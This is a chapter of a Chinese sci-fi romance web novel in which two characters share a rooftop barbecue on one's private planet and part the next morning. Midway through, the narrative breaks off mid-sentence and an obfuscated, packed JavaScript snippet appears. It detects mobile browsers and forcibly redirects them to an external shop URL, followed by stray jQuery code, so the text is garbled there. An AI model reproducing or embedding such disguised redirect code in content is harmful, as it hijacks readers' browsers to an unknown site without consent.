文趣网 > 都市小说 > 我对象是顶级哨兵 > 19. 家
    文迟没有立马开口,他拿着光脑看了一眼,低头在搜索框里面想要输入点什么,最后还是放下了。

    “去你家要注意点什么吗?”文迟问,他把枕在脑后的手放了下来,显得整个人都正经起来了。

    他现在这副样子是任何父母都会喜欢的类型,温和谦逊长的帅,同时待人接物还很有礼貌。

    “需要的。”许行止看了他一眼,也学着刚刚文迟的样子靠在椅背上,把手枕在脑袋后面。

    “我家不是很大,三层小别墅带个天台,平常也没什么人去,要注意别从三楼掉下来。”

    他说完,又叹了口气,“我小时候就从那里掉下来过,摔的可惨了。”

    “看不出来,你的平衡性也会有这么差的时候。”文迟说。

    “那个时候我喝醉了,天上的星星特别漂亮,我那时候就在想,等我长大了,应该也可以去天上看看。”许行止呼了一口气,在说这些的时候,他总是带着点温柔的神色来。

    “前面那颗星球,就是我家了。”许行止点了点窗户,伸手示意着。

    文迟顺着他的目光看去,那是一颗蓝色的星球,不算很大,按照哨向一族的人口数量,上面的居住人数应该还没有五百万。

    “这整颗星球都是你的私有财产吗?”文迟问。

    “是的。”许行止说,他的手指蜷缩了一下,没有去看文迟,而是偏头看着那颗越来越近的蓝色星球。

    飞船开始下降。

    云层从舷窗边擦过去,像被撕开的薄雾,文迟第一次看清这颗星球的地面,下面是连绵的绿色和几片反射着天光的水面。

    许行止把驾驶模式切回手动,手指在面板上拨了两下,飞船只轻轻一震,就落进了一片很安静的停机坪。

    周围没有别的飞船,也没有人。

    这颗星球在现在已经是晚上了,抬头望向天空的时候,文迟突然就理解了为什么许行止会从三楼栽下去。

    许行止走向了那栋小别墅,他对这里的布局明显很熟悉了,但是在按下门把手的那一刻,还是有点迟疑。

    其实也没有给他多少酝酿情绪的时间,在贴近大门的时候,瞳孔识别系统就已经给他开了门。

    房子不大,但处处都留着有人定期打理的痕迹。空气里没有灰尘味,只是冷清,像很久没有人气。

    许行止走在前面,把门推开,顺手把钥匙往墙上的小筐里一扔。

    “随便坐。”他说,“不过最好还是先跟我上楼,天台比较舒服。”

    文迟扫了一眼,这栋房子显然有些年份了,大厅最显眼的地方挂着好几块奖牌,只有几块是旧的,剩下的看起来都很新。

    “要吃烧烤吗?”许行止看了一眼门外,突然问。

    “我觉得是个不错的决定。”文迟说。

    许行止笑了一下,他指挥着文迟去冰箱里面拿出来两瓶喝的,他自己上楼去翻一下烧烤架子。

    “你要喝什么随便拿就好了,当然,你要是喝不惯酒的话我记得里面还是有饮料的。”许行止走之前说。

    文迟拉开冰箱的门,小臂肌肉线条在冷藏区的光照耀下显得特别明显,他一只手随意抓着冰箱门,另一只手从里面随即取了两瓶出来,“我以为你还会有专门的酒窖的。”

    许行止在楼上布置烧烤架,但是文迟知道他还是能听到。

    下一秒,光脑就发了一条消息过来,“但是酒窖很麻烦啊,我这边已经布置好了,直接上来吧。”

    文迟笑了一下,拎着两瓶酒上了楼,两瓶酒发出了很清脆的碰撞声。

    许行止在上面摆弄着烧烤,不知名的肉类在他手里在“滋滋”冒着油烟。

    晚风很舒服,足够压下连日以来的精神暴动。

    文迟甩了甩手上的酒,示意他拿的是这两瓶,然后坐到了许行止对面。

    许行止先把一串烤串塞给了他,然后接过了他刚刚放下的酒,“这酒度数有点高啊,你能喝吗?”

    文迟看着手上不知名的肉串,谨慎地咬了一口,但是味道意外的还不错,肉质紧实嫩滑,比他之前吃过的口感都要好。

    “我觉得我还是比较能喝酒的。”文迟说,他直接把两瓶酒都开了,给许行止倒上之后又给自己也满上。

    “那就再好不过了。”许行止说,他用手摆弄着烧烤,感叹了一句,“我自从分化过后就没有吃过这种东西了,还挺馋的。”

    文迟旁边也多了好几个烧烤签子,“如果是我的话,我也会馋的,这个确实很好吃。”

    许行止拿着杯子和他碰了下杯,“有品位。”

    这酒的度数确实有点高,至少许行止喝到一半就感觉思维开始变慢,但是他也并不想要强行驱散这种感觉。

    而文迟确实也如他所说的那样,半瓶酒下肚了,连一点表情变化都没有。

    “看不出来,你真的还挺能喝酒的啊。”许行止说,他看上去已经有点醉了,辛辣的刺激一路从喉咙烧到胃里,将眼角激起一点薄红,但是不显得娇弱,只让人感觉他的酒量确实不算很好。

    文迟看着他,抬起酒杯和他还放在桌上的杯子碰了一下,“也许是你酒量太差了。”

    “不可能,这种酒很容易醉的,我看有人只喝了一杯就不省人事了。”许行止撑着脸回了一句。

    “烧烤是什么肉?”文迟没有对他关于酒量的事情做出答复,而是问了一句手里的烤肉。

    “虫肉,从巨型虫类的腹腔里切割下来的。”许行止说。

    “啊,这样。”文迟看着手里的烤串,“有点新奇,还是第一次吃。”

    他们吃着烧烤,聊着点不着调的事情,许行止的头因为酒精的作用低垂着,他端着酒杯看着文迟骨节分明的手指,突然又想到了洛恩欧说的那句话。

    酒精麻痹了他的大脑,他看着文迟又喊了一句,“文迟。”

    “嗯?”文迟拿着旁边的餐巾纸擦了擦嘴,不管什么时候,他好像都能做到从容有序。

    许行止呼了口气,他说,“我们之后也一起吃烧烤吧。”

    问题可能有点蠢,不然怎么看到文迟莫名其妙又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878461|212430||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑了呢。

    天台风吹的有点大,文迟的声音混合着风声传来过来,带着点含糊不清的意味。

    他说,“好啊。”

    两个人吃到最后,就连炭火都快熄灭了。

    “这里的黑夜要比其他的地方要长,早晨的日出也非常漂亮。”许行止撑着下巴,眼底带着醉意,但是倒没什么特别出格的举动。

    文迟伸手把他的杯子收了,那瓶酒现在还残留着一点点在瓶底,他看着许行止,用手撑着单手拿着一个杯子问,“那我们现在要等到日出吗?”

    许行止没说话,他的头微微低了一点,头发有点无力的垂下,那双平日里精明的眼睛此刻有点不聚焦,只是一味地盯着文迟。

    文迟看着他,“那样的话,你宿醉的脑子将会变得一团糟。”他把杯子里剩下的一点酒一饮而尽了,“我们该走了,日出可以等到下次。”

    他到现在都没有表现出很明显的醉意,除了眼尾有一点很淡的红色之外,看不出来喝了很多的样子,站起来的时候显出了少见的强硬。

    “走吧,这里不用管。”许行止闭了闭眼,强行将那点醉意压下去不少。

    他站起来,打开了从三楼通向室内的玻璃门,夜风跟着他们涌进来,把屋子也吹凉了几分。

    “你的房间在二楼,已经全部收拾好了,随便挑一间就好,房间里面有配套的淋浴设备,衣柜里面也有成衣,都没有穿过,我的尺码你应该可以穿上。”

    许行止的声音还是带着点沙哑,但是头脑基本已经恢复了清明。

    他在转角的楼梯处停步,回头看了文迟一眼。

    “晚安。”他说。

    文迟站在比他低两级的台阶上,仰起一点头看着他,楼梯间的灯光很暗,只能看见许行止半张脸的轮廓。

    “晚安。”文迟说。

    许行止好像笑了一下,然后转身上楼,脚步在木质地板上踩出很轻的声响,一直延伸到三楼尽头。

    文迟没有立刻回房。他在楼梯口站了一会儿,直到那点脚步声消失,才转身走向二楼的客房。

    房间是一个很标准的样板间,收拾的很干净,就连床单都是新的。

    他脱了外套,简单冲了澡之后把自己放倒在床上,盯着天花板看了好一会儿之后闭上了眼睛。

    第二天一早,文迟是被光脑振动的声音吵醒的。

    外面的天才蒙蒙亮,他拿起光脑看了一眼,现在还是清晨。

    文迟下楼时,许行止已经换好了作战服,正站在餐桌边往手腕上扣护甲。他听到脚步声,抬头看了文迟一眼,动作没停。

    “有任务?”文迟问。

    “嗯,一个临时增援。”许行止把最后一颗扣子扣上,抓起放在桌上的枪别到后腰,“你有什么需要就联系我,我会尽快处理完回来。”

    “等一下。”文迟说,他的脸色很淡,酒精没有在他的身上留下多少痕迹,以至于现在依旧是冷静平和的样子。

    “把这个带上。”

    他抛了一个定位器给许行止。